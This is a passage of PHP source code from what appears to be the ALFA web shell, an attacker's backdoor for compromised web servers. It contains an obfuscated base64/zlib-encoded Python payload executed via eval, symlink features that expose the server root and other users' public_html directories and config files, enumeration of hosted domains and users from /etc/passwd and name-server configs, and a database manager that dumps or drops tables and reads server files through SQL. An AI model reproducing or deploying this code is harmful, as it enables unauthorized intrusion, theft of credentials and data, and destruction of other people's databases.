".\'eval(compile(zlib.decompress(base64.b64decode("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")),\'<string>\',\'exec\'))\';
	$cginame = "symperl.alfa";
	$source = $perl;
	$lang = "perl";
	if($_POST["alfa2"]=="sympy"){
		$cginame = "pysymlink.alfa";
		$source = $py;
		$lang = "python";
	}
	@__write_file($cginame,$source);
	@chmod($cginame,0755);
	echo __pre();
	$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
	if(strlen($resource) == 0){
		echo AlfaiFrameCreator(\'cgialfa/\'.$cginame);
	}else{
		echo $resource;
	}
}
if(isset($_POST[\'alfa4\']) && $_POST[\'alfa4\']==\'SymFile\'){
if(function_exists(\'symlink\')||_alfa_can_runCommand(true,true)){
AlfaNum(9,10);
echo __pre().\'
<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
<p><input type="submit" value=" " name="symlink" /></p></form></center>\';
$path = $_POST[\'alfa5\'];
$symname = $_POST[\'alfa6\'];
$solevisible58 = $_POST[\'alfa7\'];
if($solevisible58){
$new_name = str_replace(".", "_", basename($symname));
$rand_dir = $new_name.rand(111,9999);
$sym_dir = \'alfasymlinkphp/\'.$rand_dir.\'/\';
@mkdir($sym_dir, 0777, true);
alfacgihtaccess(\'sym\', $sym_dir, $symname);
_alfa_symlink("$path","$sym_dir/$symname");
echo __pre();
echo \'<center><b><font color="white">Click >> </font><a target="_blank" href="\'.__ALFA_DATA_FOLDER__."/".$sym_dir.\'" ><b><font size="4">\'.$symname.\'</font></b></a></b></center>\';
}
}else{echo "<center><pre class=ml1 style=\'margin-top:5px\'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
}
if(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']==\'symphp\'){
$cant_symlink = true;
if(function_exists(\'symlink\')||_alfa_can_runCommand(false,false)){
@mkdir(\'alfasymlink\',0777);
alfacgihtaccess(\'sym\',\'alfasymlink/\');
_alfa_symlink(\'/\',\'alfasymlink/root\');
$table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id=\'tbl_sympphp\' align=\'center\' width=\'40%\' class=\'main\' border=\'1\'><td><span style=\'color:#FFFF01;\'><b>*</span></b></td><td><span style=\'color:#00A220;\'><b>Domains</span></b></td><td><span style=\'color:#FFFFFF;\'><b>Users</span></b></td><td><span style=\'color:#FF0000;\'><b>symlink</span></b></td>";
if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
echo "<center>";
$lines = array();
$anony_domains = array();
$anonymous_users = array();
$f_black = array();
$error = false;
$anonymous = false;
$makepwd = "/home/{user}/public_html/";
$domains = alfaGetDomains();
$lines = $domains["lines"];
$state = $domains["state"];
$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
$can_runcmd = _alfa_can_runCommand(false,false);
if(!$is_posix && !$can_runcmd){
	$anonymous = true;
	$anony_domains = $domains["lines"];
	$lines = _alfa_file(\'/etc/passwd\');
}
echo $table_header;
$count=1;
$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="\'.__ALFA_DATA_FOLDER__.\'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';
foreach($lines as $line){
	$domain = "";
	$owner = "";
	if($anonymous){
		$explode = explode(":", $line);
		$owner = $explode[0];
		$owner_len = strlen($owner) - 1;
		$userid = $explode[2];
		if((int)$userid < 500)continue;
		$domain = "[?????]";
		$temp_black = array();
		$finded = false;
		foreach($anony_domains as $anony){
			if($state == "named.conf"){
				if(@strstr($anony, \'zone\')){
					preg_match_all(\'#zone "(.*)"#\',$anony, $data);
					$domain = $data[1][0];
				}else{
					continue;
				}
			}elseif($state == "named" || $state == "valiases"){
				if($anony == "." || $anony == "..")continue;
				if($state == "named")$anony = rtrim($anony, ".db");
				$domain = $anony;
			}
			$sub_domain = str_replace(array("-","."), "", $domain);
			if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
				if(in_array($owner.$domain, $temp_black))continue;
				$sympath = str_replace("{user}", $owner, $makepwd);
				$http = "http://".$domain;
				echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
				$count++;
				$temp_black[] = $owner.$domain;
				$finded = true;
			}
		}
		if(!$finded){
			$anonymous_users[] = $owner;
		}
	}else{
 		if($state == "named.conf"){
			if(@strstr($line, \'zone\')){
				preg_match_all(\'#zone "(.*)"#\',$line, $data);
				$domain = $data[1][0];
			}else{
				continue;
			}
		}elseif($state == "named" || $state == "valiases"){
			if($line == "." || $line == "..")continue;
			if($state == "named")$line = rtrim($line, ".db");
			$domain = $line;
		}
		if(strlen(trim($domain)) > 2 && $state != "passwd"){
			if(!_alfa_file_exists(\'/etc/valiases/\'.$domain, false))continue;
			if($is_posix){
				$user = @posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain));
				$owner = $user["name"];
			}elseif($can_runcmd){
				$owner = alfaEx("stat -c \'%U\' /etc/valiases/".$domain,false,false);
			}
		}
	}
	if(!$anonymous){
		if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "http://".$domain;
		if($state == "passwd"){
			$http = "javascript:alert(\'we cant find domain...\')";
		}
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
		$count++;
		$f_black[] = $owner.$domain;
	}
}
if($anonymous){
	foreach($anonymous_users as $owner){
		$sympath = str_replace("{user}", $owner, $makepwd);
		$http = "javascript:alert(\'we cant find domain...\')";
		echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
		$count++;
	}
}
$cant_symlink = false;
}else{
$is_direct = false;
$makepwd = alfaMakePwd();
if(_alfa_file_exists("/etc/virtual/domainowners")){
	$makepwd = "/home/{user}/public_html";
	$is_direct = true;
}
$sole = _alfa_file("/etc/virtual/domainowners");
$count=1;
echo $table_header;
$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="\'.__ALFA_DATA_FOLDER__.\'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';
if($sole){
	foreach($sole as $visible){
		if(@strstr($visible,":")){
			$solevisible = explode(\':\', $visible);
			$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
			echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
		}
	}
}else{
	$passwd = _alfa_file("/etc/passwd");
	if($passwd){
		$html = "";
		$is_named = false;
		$users = array();
		$domains = array();
		$uknowns = array();
		foreach($passwd as $user){
			$user = trim($user);
			$expl = explode(":", $user);
			if((int)$expl[2] < 500)continue;
			$users[$expl[0]] = $expl[5];
		}
		$site_domains = @scandir("/etc/virtual/");
		if(!$site_domains){
			$site_domains = alfaEx("ls /etc/virtual/");
			$site_domains = explode("
", $site_domains);
			if(!$site_domains){
				$site_domains = _alfa_file("/etc/named.conf");
				if($site_domains){$is_named = true;}
			}
		}
		foreach($site_domains as $line){
			if($is_named){
				if(@strstr($line, \'zone\')){
					preg_match_all(\'#zone "(.*)"#\',$line, $data);
					$domain = $data[1][0];
					if(strlen($domain  > 2) && !empty($domain)){
						$domains[] = $domain;
					}
				}
			}else{
				$domains[] = $line;
			}
		}
		$x = 1;
		foreach($users as $user => $home){
			foreach($domains as $domain){
				$user_len = strlen($user) - 1;
				$sub_domain = str_replace(array("-","."), "", $domain);
				$five_user = substr($user, 0,$user_len);
				$five_domain = substr($sub_domain, 0,$user_len);
				if($five_user == $five_domain){
					if($is_direct){
						$cwd = str_replace("{user}", $user, $makepwd);
					}else{
						$expl = explode("}/", $makepwd);
						$cwd = $home."/".$expl[1];
					}
					$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
				}else{
					$uknowns[$user] = $home;
				}
			}
		}
		$uknowns = array_unique($uknowns);
		foreach($uknowns as $user => $home){
			if($is_direct){
				$cwd = str_replace("{user}", $user, $makepwd);
			}else{
				$expl = explode("}/", $makepwd);
				$cwd = $home."/".$expl[1];
			}
			$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
		}
		echo($html);
	}
}
echo "</table>";
$cant_symlink = false;
}
}else{
	echo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
	$cant_symlink = false;
}
if($cant_symlink)echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>\';
echo "</center></table>";
}
echo "</div>";
alfafooter();
}
function alfasql(){
class DbClass{
public $type;
public $link;
public $res;
public $mysqli_connect_error = false;
public $mysqli_connect_error_msg = "";
function __construct($type){
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type){
case \'mysql\':
if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
	return true;
}else{
	$this->mysqli_connect_error = true;
	$this->mysqli_connect_error_msg = mysqli_connect_error();
	return false;
}
break;
case \'pgsql\':
$host = explode(\':\', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case \'mysql\':
if(@mysqli_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case \'mysql\':
return $this->res = @mysqli_query($this->link,$str);
break;
case \'pgsql\':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case \'mysql\':
return @mysqli_fetch_assoc($res);
break;
case \'pgsql\':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case \'mysql\':
return $this->query("SHOW databases");
break;
case \'pgsql\':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case \'mysql\':
return $this->res = $this->query(\'SHOW TABLES\');
break;
case \'pgsql\':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");
break;
}
return false;
}
function error(){
switch($this->type){
case \'mysql\':
return @mysqli_error($this->link);
break;
case \'pgsql\':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case \'mysql\':
if(function_exists(\'mysql_set_charset\'))
return @mysqli_set_charset($this->link,$str);
else
$this->query(\'SET CHARSET \'.$str);
break;
case \'pgsql\':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case \'mysql\':
return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
break;
case \'pgsql\':
$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM \'".addslashes($str)."\';select file from solevisible;");
$r=array();
while($i=$this->fetch())
$r[] = $i[\'file\'];
$this->query(\'drop table solevisible\');
return array(\'file\'=>implode("
",$r));
break;
}
return false;
}
};
$db = new DbClass($_POST[\'type\']);
alfahead();
$form_visibility = "table";
if(isset($_POST[\'sql_host\'])){
	$connection_db = $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
	if($connection_db && !empty($_POST[\'sql_base\'])){
		$form_visibility = "none";
	}
}
$database_list = array();
echo "
<div class=\'header\' style=\'min-height:300px;\'>".($form_visibility!="none"?"<center><div class=\'txtfont_header\'>| Sql Manager |</div><p>".getConfigHtml(\'all\')."</p></center><div style=\'text-align:center;margin-bottom: 10px;\'><button class=\'connection-his-btn db-opt-id\' onclick=\'alfaShowConnectionHistory(this);\' mode=\'on\'>Connection History</button><div class=\'connection_history_holder\'></div></div>":"")."
<div class=\'sf\' class=\'db-opt-id\'><table style=\'margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."\' cellpadding=\'2\' cellspacing=\'0\'><tr>
<td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
<td><select name=\'type\'><option value=\'mysql\' selected>mysql</option></select></td>
<td><input type=\'text\' name=\'sql_host\' id=\'db_host\' value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>
<td><input type=\'text\' name=\'sql_login\' id=\'db_user\' value=\'". (empty($_POST[\'sql_login\'])?\'\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>
<td><input type=\'text\' name=\'sql_pass\' id=\'db_pw\' value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";
$tmp = "<input type=\'text\' name=\'sql_base\' id=\'db_name\' value=\'". (empty($_POST[\'sql_base\'])?\'\':htmlspecialchars($_POST[\'sql_base\'])) ."\'>";
if(isset($_POST[\'sql_host\'])){
if($connection_db){
$db->setCharset(\'utf8\');
$db->listDbs();
echo "<select name=sql_base><option value=\'\'></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
$database_list[] = $value;
echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
}
echo \'</select>\';
}else{
	echo $tmp;
}
}else
echo $tmp;
$curr_mysql_id = $_POST[\'current_mysql_id\'];
echo "</td>
<td><button onclick=\'fs(this);return false;\' class=\'db-opt-id db-connect-btn\'>Connect</button></td>
<td><input type=\'checkbox\' name=\'sql_count\' value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> <div class=\"txtfont\">count the number of rows</div></td>
</tr>
</table>";
if($db->mysqli_connect_error){
	echo \'<div style="text-align: center;font-size: 17px;margin-top: 18px;">\'.$db->mysqli_connect_error_msg.\'</div>\';
}
if(!empty($curr_mysql_id)){
	$sql_title_db = "";
	if(!empty($_POST[\'sql_base\'])){
		$sql_title_db = "d.querySelector(\'#tab_".$curr_mysql_id." span\').innerHTML=\'".addslashes($_POST[\'sql_base\'])."\';";
	}
	echo "<script>mysql_cache[\'".$curr_mysql_id."\'][\'host\']=\'".addslashes($_POST[\'sql_host\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'user\']=\'".addslashes($_POST[\'sql_login\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'pass\']=\'".addslashes($_POST[\'sql_pass\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'db\']=\'".addslashes($_POST[\'sql_base\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'charset\']=\'".addslashes($_POST[\'charset\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'type\']=\'".addslashes($_POST[\'type\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'count\']=\'".addslashes($_POST[\'sql_count\'])."\';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";
}
if(isset($db) && $db->link){
if(!empty($_POST[\'sql_base\'])){
echo "<div class=\'mysql-main\'><div mode=\'block\' onclick=\'alfaMysqlTablePanelCtl(this);\' class=\'tables-panel-ctl db-opt-id\'>&#x3C;&#x3C;</div><div class=\'mysql-tables\'><div><input placeholder=\"Filter Table\" style=\'padding: 0;margin-left: 11px;text-align:center;\' type=\'text\' name=\'filter_all\'><button class=\'db-opt-id\' onclick=\'alfaMysqlFilterAllTable(this);return false;\'>Search</button></div><div class=\'block\'><a sql_count=\'".(empty($_POST[\'sql_count\'])?"false":"true")."\' mode=\'closed\' onclick=\'alfaMysqlFilterAllTable(this,true);\' class=\'expander parent-expander db-opt-id\' href=\'javascript:void(0);\'><img src=\'http://solevisible.com/icons/menu/b_plus.png\' title=\'Expand/Collapse All DataBases\' alt=\'Expand/Collapse All DataBases\'></a></div><ul style=\'margin-top: 28px;\'>";
foreach ($database_list as $db_name) {
	echo \'<li><div class="block"><i></i><b></b><a sql_count="\'.(empty($_POST[\'sql_count\'])?"false":"true").\'" db_target="\'.$db_name.\'" onclick="alfaMysqlExpander(this);" class="expander cls-\'.$db_name.\'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/\'.($db_name == $_POST[\'sql_base\']?"b_minus.png":"b_plus.png").\'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">\'.$db_name.\'</span><div class="clearfloat"></div><div db_name="\'.$db_name.\'" mode="\'.($db_name == $_POST[\'sql_base\']?"loaded":"no").\'" class="list_container cls-\'.$db_name.\'"><div>\';
	if($db_name == $_POST[\'sql_base\']){
		$db->selectdb($_POST[\'sql_base\']);
		$tbls_res = $db->listTables();
		echo \'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-\'.$db_name.\'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';
		while($item = $db->fetch($tbls_res)){
		list($key, $value) = each($item);
		if(!empty($_POST[\'sql_count\']))
		$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM `\'.$value.\'`\'));
		$value = htmlspecialchars($value);
		echo "<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a class=\'db-opt-id\' db_target=\'".$db_name."\' href=\'javascript:void(0);\' onclick=\"alfaLoadTableData(this,\'".$value."\')\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>".$value."</span></a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>({$n[\'n\']})</span></small>") . "</div></li>";
		}
		echo \'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="\'.$db_name.\'" target=".cls-\'.$db_name.\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\';
	}
	echo "</div></li>";
}
echo "</ul></div><div class=\'mysql-query-results\'><div class=\'mysql-query-result-tabs\'><div class=\'db-opt-id mysql-query-selected-tab\' target=\'.mysql-query-result-content\' onclick=\'alfaMysqlTabCtl(this);\'>Result</div><div class=\'db-opt-id\' target=\'.mysql-query-form\' onclick=\'alfaMysqlTabCtl(this);\'>Query</div><div class=\'db-opt-id\' target=\'.mysql-search-area\' onclick=\'alfaMysqlTabCtl(this);\'>Search</div><div class=\'db-opt-id\' target=\'.mysql-structure\' onclick=\'alfaMysqlTabCtl(this);\'>Structure</div><div class=\'db-opt-id\' target=\'.mysql-insert-row\' onclick=\'alfaMysqlTabCtl(this);\'>Insert</div><div style=\'display:none;\' class=\'db-opt-id\' target=\'.mysql-edit-row\' onclick=\'alfaMysqlTabCtl(this);\'>Edit</div></div><div class=\'mysql-query-content mysql-insert-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-edit-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-search-area mysql-hide-content\'></div><div class=\'mysql-query-content mysql-structure mysql-hide-content\'></div><div class=\'mysql-query-content mysql-query-form mysql-hide-content\'><div style=\'margin-bottom: 5px;\'><span>Query:</span></div><textarea name=\'query\' style=\'width:90%;height:100px\'></textarea><p><div style=\'float:left;margin-left: 30px;\'><input class=\'button db-opt-id\' db_target=\'".$_POST[\'sql_base\']."\' onclick=\'alfaMysqlQuery(this);return false;\' type=\'submit\' value=\' \'></div></p></div><div class=\'mysql-query-content mysql-query-result-content\'><div class=\'mysql-query-result-header\'><div style=\'margin-bottom: 10px;\' class=\'mysql-query-reporter\'></div><div class=\'mysql-query-pager\'></div></div><div class=\'mysql-query-table\'></div></div></form></td></tr>";
}
echo "</table></div>";
echo "</div>";
}else{
echo htmlspecialchars($db->error());
}
echo \'</div>\';
alfafooter();
}
function alfaSql_manager_api(){
	$db = $_POST["alfa1"];
	$type = $_POST["alfa2"];
	$sql_count = $_POST["alfa3"] == "true" ? true : false;
	$db = @json_decode($db, true);
	$conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);
	@mysqli_set_charset($conn, "utf8");
	if($conn){
		if($type == "load_all_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN (\'".implode("\',\'", $db["databases"])."\');");
			$count = 0;
			while($row = @mysqli_fetch_assoc($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row["table_schema"].\'`.`\'.$row["table_name"].\'`\');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);
			}
			foreach($db["databases"] as $db){
				if(!isset($tables[$db])){
					$tables[$db] = null;
				}
			}
			echo @json_encode($tables);
		}elseif($type == "dump_drop"){
			if($db["mode"] == "drop"){
				foreach ($db["tables"] as $table) {
					@mysqli_query($conn, "DROP TABLE `".$table."`;");
				}
				$tables = array();
				$q_tables = @mysqli_query($conn, "SHOW TABLES;");
				$count = 0;
				while($row = @mysqli_fetch_array($q_tables)){
					if($sql_count){
						$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');
						if($count_q){
							$count = @mysqli_fetch_row($count_q);
							$count = $count[0];
						}
					}
					$tables[] = array("name" => $row[0], "count" => (int)$count);
				}
				echo @json_encode($tables);
			}else{
				if(strlen(alfaEx("mysqldump"))>0){
					alfaEx("mysqldump --single-transaction --host=\"".$db["host"]."\" --user=\"".$db["user"]."\" --password=\"".$db["pass"]."\" ".$db["db"]." ".implode(" ", $db["tables"])."  > ".$db["dump_file"]);
				}else{
					$fp = @fopen($db["dump_file"], "w");
					foreach ($db["tables"] as $table) {
						$res = @mysqli_query($conn, \'SHOW CREATE TABLE `\'.$table.\'`\');
						$create = @mysqli_fetch_array($res);
						$sql = "DROP TABLE IF EXISTS `".$table."`;
" . $create[1].";
";
						if($fp) fwrite($fp, $sql); else echo($sql);
						$tbl_data = @mysqli_query($conn, \'SELECT * FROM `\'.$table.\'`\');
						$head = true;
						while($item = @mysqli_fetch_assoc($tbl_data)){
							$columns = array();
							foreach($item as $k=>$v) {
							if($v == null)
							$item[$k] = "\'\'";
							elseif(is_numeric($v))
							$item[$k] = $v;
							else
							$item[$k] = "\'".@mysqli_real_escape_string($conn, $v)."\'";
							$columns[] = "`".$k."`";
							}
							if($head) {
							$sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).\')\';
							$head = false;
							} else
							$sql = "
	,(".implode(", ", $item).\')\';
							if($fp) fwrite($fp, $sql); else echo($sql);
						}
						if(!$head)
							if($fp) fwrite($fp, ";

"); else echo(";

");
					}
				}
				echo @json_encode(array("status" => true, "file" => $db["dump_file"]));
			}
		}elseif($type == "load_tables"){
			$tables = array();
			$q_tables = @mysqli_query($conn, "SHOW TABLES;");
			$count = 0;
			while($row = @mysqli_fetch_array($q_tables)){
				if($sql_count){
					$count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');
					if($count_q){
						$count = @mysqli_fetch_row($count_q);
						$count = $count[0];
					}
				}
				$tables[] = array("name" => $row[0], "count" => (int)$count);
